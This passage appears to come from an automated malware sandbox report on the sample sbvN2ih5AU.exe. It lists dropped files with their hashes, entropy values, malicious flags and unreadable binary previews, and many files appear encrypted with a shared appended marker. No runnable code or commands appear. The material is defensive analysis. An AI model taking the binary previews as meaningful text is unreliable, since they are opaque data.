Preview:	.... =P..#.@w]+.[w^xW...q=.X...RZ.q...4..1...k..Z.ot..6.....7X=74+?.m[./mQ.m.Q.o.4....?$.....\o.?.Kb.N..K.....Vnvl\|.t_.EXVf/2.n)F4.U.3...._.\...U.(...u......]..-..:....^.....)8,VP].kp.....`.X....!......\|..Ltk.-...V\|..7...y..I.6.R......g...-.H.C.Wg.....46F..9.> 1..E{.N......e).....Z&.........4.'3..........H.T3..h.q...Y.]D.....K4.a6.{....b..k.S3..l.WGa.h..y..^.r....V...$5....8.....6.8.p.Zo.....4o.......g..[..s.Z.H..?...]..U..fA.o....f....k..bO......,....9,f.Vwi.........g..{Am.%...KM.6.n...j..MN....U'..].5."K./2..?.a.. .......Fc.5...$O.XM.x.A...i...\|..Qk..u2h..}<..^..E=..QH.4.]6RA..4PK/)...s.cz.>..:.y...EM...R..J{.3P..........Ey.......3....mc..)..<3j<.R3...u.9.Z.L....VZ=.P.k.le.udd7.......FW"MC....5._...e..D.33....3.0...I....,l.I..i...:^..KC....@8..8....5.3..b5.i.n..4.bv....6.....d_rVI.U..;/........c.......N...z....V.r.rji.7T.9..$/.Tm$y.n..U8.....A^..C..T.XkZ..i./...H..<.V/R.4NN.i.B.-M.A...>......k.......Vl.`^.8.K!...s=.."....f.}....P,5.(..

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.3.db

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.987107478999932
Encrypted:	false
SSDEEP:	384:nss+BaST8y04RXE5JNWU9TaKgafRzpxutizeun95YUnKk:s7BaST8RxdWO2ezEtJun95YUnr
MD5:	4F1FC4278D6F911FD53095F1C0074317
SHA1:	6F994681EBD119A5DF63E62514A709B96BBE953F
SHA-256:	0516B3C6244E29652F849D5631FFEC5D07E1E6FB95D550AAE7A04A611A7C8E49
SHA-512:	25CFDDFCE7D0C59D380C31A9D3FF783947CFFC24AF6E4F70AEEA56471CA955C0B7878C3FF324752236461E8E950DE48F1951182B3420E73308EE78CE4BCCAA14
Malicious:	false
Preview:	....`.o....i..KS..f..KVS..".[.V.;..T.@..qr.8..s{.j..A..`.X(_.J ..D-......{.D<..)cOtu.T..\.pb..(y..~2.ewl....EJ......].+)...T....6...O...g{.V`..h."...sR....+...G...........M....A....g.4NV.L.....z....U.;.?F.DNg.F.+.&..J..]n!.s.{....m..#.G...(..u.....m..p....lN.q..^.{.\|..E.__.L....N.)...58n..~:a......S.....0..(..a.........ze...4..b.W....h.7.0.T..0.G.nIK.>$...o1.....bG.l...?.....GK.\...2...j^=rL..oj.....d" W..U.....)YW...v>h.6..(..25I4.Qf....^z.-]....yO.\|N..4..f..! .wo,..(I.]....&...X.Y,'..r[...<44-M.j..q.F)..F.cx.l>-.7.bx\|^...)..,r....`T.. h4A4,a.@..&.h..F....Q..0..!...u.C.xvwo.[....F.;8.......+`".O.Z.....h;..v.LB.2C(/...N."E..A.[=.;..-.^..X.G..;...T`..q...lD.):................6.H&;......O...P.M.enz.Y.....$W..J\@e].;.V....H. :g./)...@[..Ac.p:.\|ZF5.?...e.#..p.M%2.4...x.%.3.1.{..E.,.;Yk.g..c.....1Z..q..Y.p.&@....V..@....E.m......3.9yN...h...J....:....C.Z.m,`...g.C...2..h6...u...........^....1\|.n1..\|......-.RY\......"p...n..8.y.d.9&x.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{2FE9468C-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	424190
Entropy (8bit):	6.33095665313605
Encrypted:	false
SSDEEP:	6144:9SY3YSiGkrhOkN82D/6++D2fFshpm+vyJfbnQkK96B88yKv4bWTmTvEiLSa:9SY3YrGkdzz+oym+6dF4/l
MD5:	1023CBA9E8AC20E1F7F82F47395BC43A
SHA1:	53F1FA85A46F4F90477732B9A50771C9B4DF1F59
SHA-256:	F38933977FD86357B69AED394A121A6AD3347A04350D6BD0EABE478E64A7AB0A
SHA-512:	15AC09A42A8D761333AE533F55E1FBAE73367F22BC7957E78CFA11F02FDCC5C9C6138741BBD6DB26D838B1D042C8ECA721F837FB77ABAF33BF3E61D68CB38A8E
Malicious:	false
Preview:	.w.. 6&..@..,.&.]\.XJ.40.6....HsMb...$....>.f...m....DBid..M....X..<...P..0..KWt.)..T...!Qm..ST .Y. a...Z..6...loK.cD.:.[f&...q_.P..}#.6c...+.j............=.......z.k.3.KC...i.._..._....?F.0.E...^.k.r...h.....v.Q...mw. Z^.q+..D%....no............o!..*a..b...].5.W..k.:a.......z..bm{.N.(....p/S(=<.8T........=e..m...k..M.n..j[<.......T5[....G!......m.9.....Z....v......$.j..\..w.R\|....2..O..q1........{....Y.6..a..vC".AE.V.w..{..B..a..v...S .^..q....6...BE..%..c.......h..'...Lu...C..d?.<Y...9.5../......6.............8.........O......'......\|...,..5A>:l.pM... .nLu\1.>.6.}..<...z[G....`.!.5g.i....&F.g.o.Y..L...&....v..0J...j\zt....$.k..,...........:.]_.4.p;,v.'.....S..+..~....z......f_..w=..z^.....A.%g..b.!h......S~.....,.7.......l.9...C......G..o=.D...g...d..Q.Z...P.>o...hUcm.d...Z\|'^.~....b.-0."......&!.P.!.8.l6..aY.eG.V.....>IY..p..P$..q.W.......(i.G...3.'..._....=#.].jM5...3;..y21....p........O.\|..4V.O....+....#.;`...U...

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002b.db

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	104886
Entropy (8bit):	7.9982097371799314
Encrypted:	true
SSDEEP:	1536:7Gvr/Cf0dX/c3tZemaHolrcuC+LUwvKvL+lOlphnKYtfW0WXR:Gqcgt7aI2uC+LUwsL+ebKlT
MD5:	AF2F394D064CB457C8B2CE21DB30B17B
SHA1:	E10FAC857259EB0CE30A890FD005F966AB9E8583
SHA-256:	3F5BBB5BBC646F63D36E6779CB2B7C9844B334A5752E9077839274C848D42E5D
SHA-512:	3E699147D942359C090874564125C202B0004DD01A5C67F0B425B660FFBFB45C2D597F4C26E4D8C36FB504571E01DFA3C61BBD5BD42D95532E58BB2C55A7A201
Malicious:	true
Preview:	....h.F.....LBQ.uMsz...\........#..@..z9.\|H!..D7....AC.tM50..J.Y.w.l..iR.....rN.?n..C..b\...`(j.<...(....G.....8/.I....C.[0.N@)m.t.a.Fz....+..d.4.w.dx.}1....%.>l...u=..I(..~?qE.\^..S...$T.. P..J.H...v..K..:.\UL,q.E...6.....e....gCQ..).8..h..H5.hU....=......1.n.D......Mn...<v.t8^...&...~Y.6_.{...=...]../..Z,...6.2)?......CLlgG.. .VNE.7G`.8D..\.....U.....I,#.....#...v...(~.`x}.N...v...D.s?.....<T..>..Dj...M.A;...`.c......0....Qw.7W.3..~#...n.ov-..$3...L....JI..P..P(.S......R.p...X%......T...q..q....>.[....H..w..mT..s..+.[..:..r.,.<...5.O<..9..`.-..{.}...0..="NP.!....C%....7.]aBMW1.%../:.q.oJ...fs.P."..R........&...z.\e..J..RB.1...G\|..q..0.Rtjw..&r..n{.=.p.@....k.9........E].XC........{Z....z.".[....X>:P..N.a.......m....M..\....r/2h...o=.j#?..F.s..`.l..g.-..1.xL...q.[.B5.}...5..b@.....Q....G....^..T..\..M;M?T9w...vb .Iii+W].\|.t.35.......\...?......m..8T\.+......./$...I.F....1A....K.k]od...Ws..x`.Jj..yLM........}-...}.#....

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002c.db

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	103638
Entropy (8bit):	7.997947758486809
Encrypted:	true
SSDEEP:	3072:lyq1FZ7q4dJvd9//nE5VitqTUgduCqL5mVHMsuP:l3hFdxd5MHOq3oXUVHMs2
MD5:	181FEA451150BA8A03326A024BFB31AA
SHA1:	5D0915EAE172A3F857922BBB451292EB6B5D46B1
SHA-256:	7D0AABD5BB86DAC32FF41FAE59B139208A86D41AD175F3ECC0D6175A6537B508
SHA-512:	44809DCD44EB80BF255FBE352B67A29CC19CA553F8C8031F82EB94FCB125FEBC4B5F490602D8CB0A8DB4F11A1B2629CD2DD5F20183FDF83A37D5836924A121B9
Malicious:	true
Preview:	....h~~..+...mp...f.:/ .ja.3...$.!..+z....Y.F... .y.F...Z.k#..Q%.z.CR....T7...o.7.M..+...>+.].....F..5....^q..3...B.2......a/.P0.Rn.4......mbn..o....Q...U..2.`.9.(....7.z.4.\|..G.N).....\.....K.u%.v.uQ...N...X,.s.k..%.V.\|.9.!\.N....k...?Mp....B..P.......Q.f..p..B..H..b.._.................>..Y....'Ke..R.w".......U.....yb.9......`..".x.................].. ...Gt......G..?b.kv....Z.@..f$\..<....5U.{k.{{...x..\|...@...4.B.w3...J.j.Z......i...$$o..ov..RR..n..B...........x.qR$r...v...l+..#..N.N.cF.\.......M.Cq..S.vR....p..LC..).<.....}....f.....i.N.H....R..].1D...*.H.K...t .p.'[r...+...x..M\.k.-.y.r.6...Q!y.Y..M....jRw.jb.....G.G..)........0.=K}h....z...S+....wH../.....4a........g.....y]..:l4t{...g.Q..T........Klq6..5...q..g.........^.f..WlN.bX.Q.1..l%._.9..7...Tw..2..4..G.9...G^.J....M...".....=..E..L..t.n...FQ.]5.....7.]..!...Q.%{.Y...Fk...J......(..e..d..?.d...R...qS.b...[.."..F.9.5t..C.LI...3....f..?...h<..N.7..m.....B....h.A....r.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	56862
Entropy (8bit):	7.997173889254379
Encrypted:	true
SSDEEP:	1536:AWfyDAccruNZ19N00ac3xI44GVYVoAN+igOm:AXNcrIT0vcW44GcdB+
MD5:	7846165F7B29F93458631B5DCD6B086B
SHA1:	239950EAD128EF7A5A5EDE2D6D5A493E43ACE507
SHA-256:	9D005E2824FC9034C510B9661CC49C216516C806ACB607D2F4408F3E99FDFDDB
SHA-512:	5637E75790B47C6E66182E9CCB4F204F44FD0205E7BC9FB89C7C1ACD2D5188024CFB60C95F72866599D9AA35C3BB984CBFA5F24D7FCB1EB87AE804F1EFB5AF3A
Malicious:	true
Preview:	.......IM.#...)O.c......zo..-v.r..bcu..LafT.L[.auD.,.L(.;T.0F0..9..{.7{2....}>.J3uN}..H........R..m.........=....8c\&j..-.M.M.4.`..F.J...... .(;..w...z....S<.sB.-....y...y..H%.a!.w..UZ.....g.ii..3.M..E%..\|.VC.....U.Z.Xk26q.\|G.6..>...E..g.Y6.9.4...?Ak...ro...\.>....%.{......8Tp[0B.al.\|....3...n..{F..D\.7o.Ur.........X..~.(%...-.S.......)...{P5..k.....c`.....%.N..t.T}..,.e.Jsc......bT.}z.%..S.f....`.j.8.4IW.....'a..U.Mjo...:iJh.NqP......B^.1+O...Y ....P..8..].h\zh-.k.8... t..^.;.2z4.....5......n.M}..+X.X..Y....(.7.`>$a...A.".u.Q.....yQU...~.u~..g;\|.........z....`....3..U....P!.-2..q.H]R9...y.....&..n..K.H..J.C......kQ.Q...G...._..B.O..+...V>!.(....[..G.0k.?kvI`.ly#ip.d.:.....}I.w.....8k".%<...vM .u.C&/...<V....1.4B.b.o.2.W.t\|B...I.D.. B-.G..D..q..m.HT.U..N......D.p....iId.5v.....p...xcl@=}..#@!O.s\|!...B1Z>..].t.dW+..h....=.iVu .j.....M...h.>7..4.._\|...!.zbQ.\|V..e......x\:.NC.F.a/s\...@(..}..@..]\|...O..Zf_.O..A...DbG._...d3>\|.$\|.?....o/c&...

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	75358
Entropy (8bit):	7.997654163076525
Encrypted:	true
SSDEEP:	1536:zzDK0OD/CjDambzhRQmJ/xxxLvh4wtEMH8444p/dsJu/El:nO0ODKjDlnH47MH8ipVqAEl
MD5:	5BF0A89DDCFBB4940FF1355C03027297
SHA1:	573609AE2452F95500E529642BD81D47BFEB0FE3
SHA-256:	20EFF593F7DCD31FA01BBB121E77951A8F8AAD10F959039B2731896554D2C0EF
SHA-512:	82FF2673F1DF8F1AF81A07E2F44D3AA72FD9770CE2D497580E06D87F59B211A04A7CC4F9470E131A7A9A8671F39625C0EE457D24C28B7C872904350DBE836B53
Malicious:	true
Preview:	............O....PD...%.8p.P.Y.....2..sr*N.2..&..%.X.-...RF.1G,...].\|.M....B..8(.FmZ....c....^.5#XC...........jv.....Gv7j........&...0..X;^....F8.-..........t.bL. k.....O..O....A..jj.]&.G.]Kyhc.q k8.....3../. ..........).....$b%.;...?....."...G.#..=.Vs....,k.r..?..K...^K.0........%...I.....:...0X.<.m.S.G..^..NG..0am^. ..?...l..c.p.k....I@...V...n.A}.B.AR...5'.?...5..MR~..Y...Y........h..w0_U.Z.]F.,.s...If.Z]..z...'..g.3..N..X..%.h.g..h!>5...,r+.......z......(.A.<...i.....?&..0.)...f......j.C..E....=..\5..(.....}.P!r._...B..Y.m.;.49.."..}/...>...6o..;.'........9..H.8...`..B{..)....(4.1u..-..ec.FA..e...h..^W......vq5C......K.%....7.....C.c.'.P...b.f..GH\|.zi&......R.\|I)..pA.w../Z...DI.O....n.i.z..be......E...\...8.........A.....S.._,....#w.;.PH$.8.bB"I.rc....;.i..{...E918c.n.Z\|.&.....=..+H.i@.$..&....d..7....x..w......9K..T..{y.U...T.G...vz..m..$l/&.".q}...a.k.S.K.....R..:.x.9-8...q]F.s....~0.2..T..).\..~.^v...].....U..f.4.y.O!.c.D!......~.KdG...m.

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog.etl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	581966
Entropy (8bit):	5.817941531418057
Encrypted:	false
SSDEEP:	6144:SeFsPgnol/a/4tHyJTjdD6GTB6iDnlH9QYG6WcF:Se0Pl/uIHyJTjhr0AlH9QYTF
MD5:	CD9698CC3E5372702A40B5B300AF0986
SHA1:	770CC0A41912EA04E862318E59C1FD24E05FF488
SHA-256:	EC5EF649BA341B5CEDD4F25989E4D65CD0260C3BE9CB7F4853E59F8A33A65F24
SHA-512:	4EAE6187D32BE02811E31F676834A2E8E3E7DE15E48FF72E70C47045F4383E20DD812E4901E39B5DF5984C74D43192A5F7577A8B76FEAD14BBAEE718DA627C2B
Malicious:	false
Preview:	. ......j...:.l.M...J-:8.L.g....t...Y.&....t.pgB#f2x.39..Q.f....05.Pe......dADT.~....&M..r..M!.R.z.;..k......s..D....$.....[.2o....^.ld.5C.."...hI.%..9..InO.....H.B.. ....&.Y=...Z..g#...+.ny.#....nk.2S..o.d...._.....,J.P.h.^K..m$.N.}BNEt.B1..VF...#....V..N...X.2.}w..\..u.h......b-QD..am...CT.+i.E.T.u.ZwF.X..:..mSxKE9...%.f5...s.-...rX((z....U.`..Uw....^g4J.....'..;].....n%.>1.V.l.......r.of...C.Ne.....X....$fN....!x....\....8..f9..K{#...6zL.....1..7..?H.....Z7P.P/pL.V.=.{.._tuS.8~...?'...u.4.t$....KZ.Z:....6....A.6..2Vs.x.W...om.GW.}3x..X.....,...^{A.5...g.9...q.....l.."k 2[..._..Y9.5.iX.L{.....(...V..$.<4...../.k.H.......&./.e7}n.k.J....3.e.#.L.}Ab..,Z. .....7..U...L..p..."r..... Fic....7...$y...{.:t`..$....gQ.cGsa....R..;y.I..9.."/........=]P..6..Y[R.Km...Xv_..N...../..D.S...x!g...*.....pb.f.9.E.o.W.y...w.H.0...=3..Gj....EOd:70...3({0q.......M.Q8..C.....$.[n.~.7.nr....)3s.X=S...I.4..P}...N...K.Gs...&F\|P..6...vd...lE(n....]kl...).{

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993198647282293
Encrypted:	true
SSDEEP:	384:d+nJNuiZcQfyVjdhyL0Y2+VjI54Ytn0ptBv212cjW8fM51Vor:IzutQfy5dYMwk54YtqO2cj/fEM
MD5:	02C6B7B58B4E404BEE23FCD46C41FD02
SHA1:	2BA2B3DE685D7EBB6877E6EBE7AC867C3FECAB0D
SHA-256:	7143E0BC05834792925B7C817C32EE4F20BBD15DCD06AF597D3FA00C41155A13
SHA-512:	2C916859D0B4DB127FE5B5F9454C643D71F9D24D7C3167B4ADF519DC3AB05FA5C7F8C6A3709A792B75A5D3FD8914F88B9D91D6E56B5D76039A842E658668C429
Malicious:	true
Preview:	. .......2P...9x.K.7.AK..rx.1.....R.5.k9j.$....jY$..;qo.q.w.c.D.T....%.1....r..I.V;D....Q. (]T.n....\W..$2u..PC......O.... .ux......(.{....e..M...+..wCqQ....]/....I. ..#.S..N.,.r....DQ..yk.8.....\|fw$.......~...F.....)..0...b.{..j/......g....K.O)....L>k....a.I". Sh..Ov9...(....uR.W..O.#."11!..u...[z...N..//... i.....K.X.8....bxX..&...KD..?.h......Ih.......Z<Z...=......ei.A.......Hb........a0.d.sp.Z.2...5P....+...K.hrr......rE.(W..J..Z.Nbb.B.UgG=.._..T3.:~.......>.Kb^#...f..-..>1.=.]......A..FE.8Bba"..0.t.......e/>.@....k....Y._..8.....ww...^,.A.!.y..42.u.....2L'%@...e...0...sm.0.E..E...V...o.x..../.?..4.>t....A.I...3..V.....{........G...h...v..IC......].^F.S.6..I....C..eZ;....H.~.O...m.........~.DJA.Y....y>dB..=.g.._..f(..,..0..A.......(...K~...+.....dZR...#.\|.3.T..q..},cB.....&...16...p8..2.D.Ct...6..I;.Ud....'M.J:.c...Z=?..'..zJ...".....'..C..!.N....3..uJ...Z<%I...BA..........cQ.$T.4 ..R5%.T.Ru...f.@XX.....J.+.iW......>..Z:.....L{%g.P..

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1280.db

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.223251506702693
Encrypted:	false
SSDEEP:	6:3/KZqRBoewz/T5RlHUHJBZotA4zpv7KyzjfkfJBz6GrV2bv1lnIS1WdNcii96Z:3SZMOXTGB8dzpvXFg2bv1WSUdNcii9a
MD5:	BE44B433C15FB8EFAD79B3CCE682844A
SHA1:	EE95EF800AA2D19846A8670022C8E3EACF0CA3B7
SHA-256:	FEB4F165A4055C79746F4454C103176958CE2424C8A17DFE919ABB741119715B
SHA-512:	F811628AC13313970483134EC990936A214BC207A6817D00240E9A906F373637C9FF8EFE72DB88EDB7E4B6E000A43C07557F788E74D19B119C86AED71171CF71
Malicious:	false
Preview:	CMMM 8.4..Q:J.1..N.1.}..:...\ekX...I.%..J...c.['.f.c..^Dhfghb.".\|...X4...Z.pa$..<.1.a..Z.?yQ...=c.Q....<....S..+.B,.U..fAV.+.R.....o...........y.M.w.~_8..4...%...=!=..n>;.N.p8...a.........{.P.A.8..z.P.k@....6.p.#n..DrJ..\X.....G.c.e.,.\/.....0k.m;<XV.p.~..r.J~@E.}.3X.-..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1920.db

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.304861484096662
Encrypted:	false
SSDEEP:	6:iY6fgtfLo6qu6Jt8AhsWWDd3zEbvexgwfYieoiSkM+dlalnIS1WdNcii96Z:iY6f6oH8s9Sh9mwwMkDdlaWSUdNcii9a
MD5:	ECEAC6799D2E8C5C785B2D4A84F2F80F
SHA1:	4F38C8B6C88F7427AFC68BE10BC3EAECC27515D4
SHA-256:	FF9DA091D8FC531FAA87070C3C566086C30F9CBAA59F25847F5CD6AF40530F91
SHA-512:	76798A4025595DD0F39C36F803CADCC8CA119CFBEC29E77C17E5D01D46603FACB00C616B18E44B135997F6E93AB9DEADCDDE4AE489E0524F0A4C6109DB076E68
Malicious:	false
Preview:	CMMM B.d:..`.....D.N..O.v..ev_Z(=.n.}.u.D:.+n03....0.....\.s=...\.\E_.RJ...g89....x...O.c..or.(....N.R.lD....S..;........L....qX=.5e.4`.....4\|.p...N...JZ.....C.7...6....q..y..gz....>.'.....}....x..*....k;'.+.}.S.....Jm.\|.n~.gj..=..wp-...FY./.......q....iA...r..4mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_2560.db

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.3168912929392045
Encrypted:	false
SSDEEP:	6:QZN2Fy4HSHdSiXrrsAk8IMOHtuvqO4QtkW4kXuAg7MIHoglnIS1WdNcii96Z:sQkrXsAkBHQvqfKFg7MuWSUdNcii9a
MD5:	5E2D743B6557F19760BD20FF44E9B104
SHA1:	CC2274E3989C3F42E8C348FCE774682D71803A83
SHA-256:	CCBE28B41A2E895BC60043DF504485EAE30392E64E542BFF68FE443E6F4116D8
SHA-512:	19E6B78C2010DE3913CFCA6D9759CB729D26DAD90523787FB67DA3C90AC861B437DA90BC6142BB426F2004FD3B3028FFFE385EB5DE81ECECDAD0965D5875B9C9
Malicious:	false
Preview:	CMMM e .f...t.IO...nB..Y..3?\|../.C..'.?Y.N@Z..k;Os)`(...V...3\N}o7..-...F]..R.......s.eW.E.......~...4.L.=.b._...Y..K.F.4Lj......!e..TM.SP%W..2-...>qXC=....3..>"..,.O..;a.,P...j.@=.B..K......-.6.:..I...g.i]...G=.e*+.^.....F........w.R6.."./"..9l}Z.0.......!..uYB\|..;...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_768.db

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.309780950695748
Encrypted:	false
SSDEEP:	6:F3lGe/t6Q2LmPdDmlBZrWU1ybLLfV1OyEWrIInIS1WdNcii96Z:LGmCy6BVWsuLruSUdNcii9a
MD5:	798ECEBFDF9424CFDDD8D8D02B920417
SHA1:	A08E7D254C74B08A500F04351721B37D1DC0D3EB
SHA-256:	3F23D77D57F6D75DF0FCE4B83191005947D5BAA19FFBEE6CC4DACFC8C1D29B52
SHA-512:	0E97E02D85B446AD7F196FEDC0AA26250789515725C84B1C5B3412D4A61C3071A0F71597290F8027E9073D1D8D63CC013CAF29262D5A089C0E6F979713A454AD
Malicious:	false
Preview:	CMMM ...x..........G.%...vw....VV........:(.."f..)...V03h)...U..j.W....8.6..4..#.+..3.R+n1I:.4)..p...y.kC.E.....k...v........'5.0.}.b.$`.68......C..Gg.7....^k...#3.l.s..N..W....4o..H.W...:U..&W.@..P.._...n......P.d.....}.K;b&..>...%.JDWY2\|S.. T.......c..,...p....GmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_96.db

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.306763309741961
Encrypted:	false
SSDEEP:	6:NmZ8PsFaGn/3vy8KC8eja6BhTmP0h4zSKD3bAe98Tq5xlxEXXnIS1WdNcii96Z:UZsVGn/3vHDbHqP0h4zSKDLAa8T2g4Sw
MD5:	AFDF21509A86B9CE297B7D19C67452ED
SHA1:	4A2EEFA0513B5945063ED31DC534D83B5F86A029
SHA-256:	5ADA7056FBE4F4AE4B489A12C7BC32B5F6D609D8FBBE8FADF9B653E0CF54B118
SHA-512:	922DBD7CACEF2480897774306F516D26994C2295FFDA5B093CDA9B8A86E47FACA4F4BE4CC1B3F7BDC4108E095F1E4A413CBA7CD389B16A2360889F7CAE5E89A5
Malicious:	false
Preview:	CMMM a..t...W.*0......R3..."..R.=...<.=p....B...i.>t5."...3S.`..._.D..^.0.P........+....{......C)..z..ss.aEU\|L....\.....e./.Ye?.C'X...k76..h9..?.!D._...&/..8l...........Nn....\|..;k...\|Z....`...5.!.D..t.A..~...o.1...#.l.}f......:.0..2.N...E..J3p......Kr.(.8....MmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_custom_stream.db

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.277234904733727
Encrypted:	false
SSDEEP:	6:2cr7ROrj2exi/I9wcMQPvM5DHvCv27sHkV9Nj6AyPnIS1WdNcii96Z:2cr9G7D9yN5PCv2/PywSUdNcii9a
MD5:	C91F8B86A2E0330510FE325E01B95D55
SHA1:	4FAA743C40154C7E57FB69280F20ABB466E99B9E
SHA-256:	7903E23F911E4CE3BBAC175B7D432F70807756E6DD0A8B0F4709EC0A59CBD9BB
SHA-512:	DABEA06F5243BE76372875026DE616818B39429B2BA5F2F39878B75885706C21272D79DF36E741327B6EA542ECEB324A3AC880B281302F3085DADEDB95CD3447
Malicious:	false
Preview:	CMMM .?.......^.9..^rpxFr$...\.@.&s..4.j.)..T.\\|.........G.Oj...Z..w...0...v......F..._. .....L......O..N-X..J.......A.C.?.Rx...Y...........7x.{_.r.....*<.8-........0.G.........E...Z%.4re..^./.M.0O9M]u....2.bs...&t...p].{Q.\|..aKG ....sJ...............9hf.+.. ..w..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_exif.db

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.295623676771871
Encrypted:	false
SSDEEP:	6:sG8IyaBVci2wBFjxUQJonlOuLi2THQ0zeFJUWagMmELtr7nIS1WdNcii96Z:Jv9jtJonUEVjJAJUdHmELKSUdNcii9a
MD5:	5B209D4AB96201142FC6CB3789AAA006
SHA1:	A95CAAFD1F5694FFAE904D2E389E7D37771F53DA
SHA-256:	F56934B87450AB09EBC1E27BD244D510652E7E181B30E1CEBECF20626A7B806D
SHA-512:	4926EB74F6B3DB323455B5AA2A6AE3C32F96CE07DEFB5FCE8F52370DC0471463ADB94CEAD21B62537D437C6E503293CF63039366C6D89E50692DD605F7C1DDC4
Malicious:	false
Preview:	CMMM ..T".....;._.rj..PM..}t.0-...d..io.*..fpq.:.S........x..aJ...#.JM.......Jd.ie..2bYq..r..:.7.#$.m(...U.e.e4w;.M...x....Mo.....4..,..K.c.....-.....".6..6n~g.kh....:..w.).Tk{....Tek{..$R./.q..p.I.w.Q..(.-.6@......./....rs....D.$...XU..n....dJ...pf}....6iT.A5l..c.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_sr.db

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.313440291656939
Encrypted:	false
SSDEEP:	6:GmG8/5CSv28yf1w/3RkuEa+lKzz3YIh3DkneMM9nlX0g4fW8nIS1WdNcii96Z:G7+5fBfWDXCYYnl1NSUdNcii9a
MD5:	0C2AF356E995A09C0ED0531CB8BC2182
SHA1:	44CE58400C42DC5B11E72641BDA8D38B6A31D458
SHA-256:	62A9FC9389AEE2C5C2CF08CBCF5B72F3FEDFD84DDB0EBF8126430889809F01BD
SHA-512:	97CF8081952EB61F96B7CE77367C3BED71D68519E35E4147D85FDD1C90476ED0672EA574C95A068094517FBA676EBFE59771B6DD2396AF63584D824FEA5BBEAF
Malicious:	false
Preview:	CMMM ..8...4.`..W..Y....N{D%.E...O./....N.@7.a....Z.bU.5,_.c.....P...G........1.....g.....'^....^-n.y$W.......+.:m.T.%<p..J.q.F.L.X.^?........Jz.?..wy'=5...........h.....1.j^.5....{.....)..r...8..K.4....7..:.!W.Y....9./.h.i...\|....r.E&`.A..S....././NS..a.n...=.".=.#..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	367104
